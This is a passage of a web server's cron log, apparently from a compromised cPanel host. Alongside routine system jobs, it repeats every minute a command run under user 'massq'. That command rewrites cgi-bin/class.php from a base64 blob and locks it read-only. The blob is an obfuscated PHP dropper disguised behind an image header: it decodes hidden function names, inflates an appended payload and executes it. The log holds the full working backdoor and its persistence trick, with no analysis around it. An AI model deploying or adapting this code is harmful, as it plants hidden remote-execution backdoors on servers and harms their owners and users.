"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:37:01 server CROND[6508]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:38:01 server CROND[6574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:39:01 server CROND[6627]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:39:01 server CROND[6628]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 19:40:01 server CROND[6700]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 19:40:01 server CROND[6701]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 19:40:01 server CROND[6703]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 19:40:01 server CROND[6702]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:41:01 server CROND[6913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:42:01 server CROND[6978]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 19:42:01 server CROND[6979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:43:01 server CROND[7054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:44:01 server CROND[7116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:45:01 server CROND[7182]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 19:45:01 server CROND[7183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:45:01 server CROND[7184]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 19:46:01 server CROND[7417]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:47:01 server CROND[7482]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:48:01 server CROND[7551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:49:01 server CROND[7618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
